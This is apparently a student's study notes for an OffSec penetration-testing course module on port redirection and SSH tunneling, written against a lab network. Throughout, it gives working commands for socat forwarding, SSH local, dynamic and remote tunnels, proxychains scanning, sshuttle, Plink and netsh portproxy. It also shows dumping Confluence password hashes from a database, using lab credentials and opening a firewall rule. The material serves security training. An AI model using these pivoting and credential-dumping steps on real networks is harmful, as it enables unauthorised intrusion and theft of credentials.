Tree's Notes
  • Overview
  • Tools & Cheatsheets
  • Hacking Methodology
  • Hands-on Practice
  • Linux
    • Linux Basics
  • Windows
    • Windows Basics
  • MacOS
    • MacOS Basics
  • Web
    • Web Basics
  • Mobile
    • iOS
    • Android
  • OS Agnostic
    • Template
  • Courses
    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
        • Module 12: Server-Side Attacks
        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
        • Module 20: Bug Bounty Hunting Process
    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
Powered by GitBook
On this page
  • Why Port Redirection and Tunneling?
  • Port Forwarding with Linux Tools
  • A Simple Port Forwarding Scenario
  • Setting Up the Lab Environment
  • Port Forwarding with Socat
  • SSH Tunneling
  • SSH Local Port Forwarding
  • SSH Dynamic Port Forwarding
  • SSH Remote Port Forwarding
  • SSH Remote Dynamic Port Forwarding
  • Using sshuttle
  • Port Forwarding with Windows Tools
  • ssh.exe
  • Plink
  • Netsh
Edit on GitHub
  1. Courses
  2. OffSec
  3. PEN-200

Module 18: Port Redirection and SSH Tunneling

Why Port Redirection and Tunneling?

Most networks aren't flat, or at least shouldn't be. Port Redirection and Tunneling are important because we will likely run into network with segmentation via subnets, firewalls, etc.

Port Forwarding with Linux Tools

A Simple Port Forwarding Scenario

Context for following sections' follow-along labs. Nothing to note.

Setting Up the Lab Environment

More context, at this point we've gained access to a Confluence server and identified an internal subnet with plaintext credentials to a postgres database.

Port Forwarding with Socat

We'll be setting up a listening port on the Confluence server to listen on port 2345 on the WAN interface, forwarding all traffic to port 5432 of the postgres server using socat.

Starting a verbose Socat process (-ddd), listening on TCP port 2345 (TCP-LISTEN:2345), forking into a new subprocess when it receives a connection instead of dying after a single connection (,fork), then forwarding all traffic it receives to TCP port 5432 on the postgres server (TCP:10.4.50.215:5432).

confluence@confluence01:/opt/atlassian/confluence/bin$ socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

Connecting through the Confluence server to the postgres server with the credentials found earlier:

kali@kali:~$ psql -h 192.168.50.63 -p 2345 -U postgres

# Now that we're connected, list the databases
postgres=# \l
# Connect to the database
postgres=# \c confluence
# Grab everything from the cwd_user table which contains the username and password hashes for all Confluence users
postgres=# select * from cwd_user;

The hashcat mode number for Atlassian (PBKDF2-HMAC-SHA1) hashes is 12001.

SSH Tunneling

SSH Local Port Forwarding

Connected to the internal server, time for a quick scan to see if SMB is listening via lolbins:

database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

Now that we've found a device with SMB open, time to setup local SSH port forwarding to allow us to interact directly with it from our Kali box rather than moving data one device at a time. This will listen on all interfaces via port 4455, forwarding to 172.16.50.217 port 445.

# On the Confluence server, we'll connect to the postgres server, setting up a local port forward
confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215

SSH Dynamic Port Forwarding

Setting up a dynamic port forward:

confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -D 0.0.0.0:9999

With that listening, we need to be able to communicate via our SOCKS proxy. In this case we'll use Proxychains. Proxychains uses a configuration file for almost everything, stored by default at /etc/proxychains4.conf. Proxies are typically found at the end of the file and can be replaced with a single line defining the proxy type, IP address, and port of the SOCKS proxy we have running on the Confluence server.

kali@kali:~$ tail -5 /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5 192.168.50.63 9999

With that configured, let's use proxychains to communicate through our SOCKS proxy port:

kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

Additional examples of using proxychains to now port scan that internal network:

kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

Proxychains is by default, configured with very high time-out values. Lowering the tcp_read_time_out and tcp_connect_time_out values in the Proxychains configuration file will force time-outs on non-responsive connections more quickly, dramatically speeding up port-scanning times.

Upon asking an OffSec Staff member what a reasonable timeout would be, I was told around 500 should be fine.

SSH Remote Port Forwarding

# Starting the SSH server on our Kali box
kali@kali:~$ sudo systemctl start ssh

# SSHing to our Kali box, setting up the remote port forward.
confluence@confluence:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# -N for no executing remote commands, -R for the remote forward
confluence@confluence:/opt/atlassian/confluence/bin$ ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4

# Back on kali, we can confirm our remote port forward is listening
kali@kali:~$ ss -ntplu
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      128        127.0.0.1:2345      0.0.0.0:*
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*
tcp   LISTEN 0      128             [::]:22           [::]:*

# Now we can probe port 2345 on our loopback interface as though we're probin the PostgreSQL port on PGDATABASE01 directly.
kali@kali:~$ psql -h 127.0.0.1 -p 2345 -U postgres
postgres=# \l

SSH Remote Dynamic Port Forwarding

# Using the same -R option as before, we setup the single port we want to create a remoete dynamic port forward via.
confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -R 9998 kali@192.168.118.4

# Back on Kali, confirm this was setup
kali@kali:~$ ss -plunt
Netid State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process
tcp   LISTEN  0       128          127.0.0.1:9998        0.0.0.0:*     users:(("sshd",pid=939038,fd=9))
tcp   LISTEN  0       128            0.0.0.0:22          0.0.0.0:*     users:(("sshd",pid=181432,fd=3))
tcp   LISTEN  0       128              [::1]:9998           [::]:*     users:(("sshd",pid=939038,fd=7))
tcp   LISTEN  0       128               [::]:22             [::]:*     users:(("sshd",pid=181432,fd=4))

# Updating our proxychains configuration.
kali@kali:~$ tail -5 /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 9998

# Using proxychains to run nmap through our remote dynamic port forward
kali@kali:~$ poxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64

Using sshuttle

sshuttle allows us to treat SSH like a VPN by setting up local routes that force traffic through the SSH tunnel. It requires root privileges on the SSH client and Pyton3 on the SSH server.

# Setting up a port forward from the confluence server to the PGDATABASE01 server
confluence@confluence01:/opt/atlassian/confluence/bin$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

# Using sshuttle to tunnel through this connection to the subnets 10.4.50.0/24 and 172.16.50.0/24
kali@kali:~$ sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

# No wany requests to hosts in the two subnets specified will be routed through the SSH connection.
kali@kali:~$ smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        scripts         Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 172.16.50.217 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Port Forwarding with Windows Tools

ssh.exe

If SSH is on Windows and is above version 7.6 we can setup the port forward.

Looking for SSH

C:\Users\rdp_admin> where ssh
C:\Windows\System32\OpenSSH\ssh.exe

C:\Users\rdp_admin> ssh.exe -V
OpenSSH_for_Windows_8.1p1, LibreSSL 3.0.2

Plink

Plink is the command-line-only counterpart to PuTTY. Plink does not have the ability to setup remote dynamic port forwarding.

If we have Plink, we can setup a remote port forward.

C:\Windows\System32\inetsrv> C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 your.kali.ip.here

Netsh

Using netsh, we can setup a port forward with the portproxy subcontext with the interface context. Netsh requires administrative privileges to created a port forward on Windows.

: Setting up the portproxy rule (v4tov4)
C:\Windows\System32> netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215

: Confirm the port is listening
C:\Windows\system32>netstat -anp TCP | find "2222"
  TCP    192.168.50.64:2222     0.0.0.0:0              LISTENING
  
: Confirm the port forward is stored
C:\Windows\system32> netsh interface portproxy show all

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
192.168.50.64   2222        10.4.50.215     22

: We still need port 2222 to be allowed through the firewall though.
C:\Windows\system32> netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow
Ok.

: Cleaning up by deleting the rule made now that we're done.
C:\Users\Administrator>netsh advfirewall firewall delete rule name="port_forward_ssh_2222"

Deleted 1 rule(s).
Ok.

: Cleaning up by deleting the port forward we created.
C:\Windows\Administrator> netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64
PreviousModule 17: Linux Privilege EscalationNextModule 19: Tunneling Through Deep Packet Inspection

Last updated 8 months ago

🐲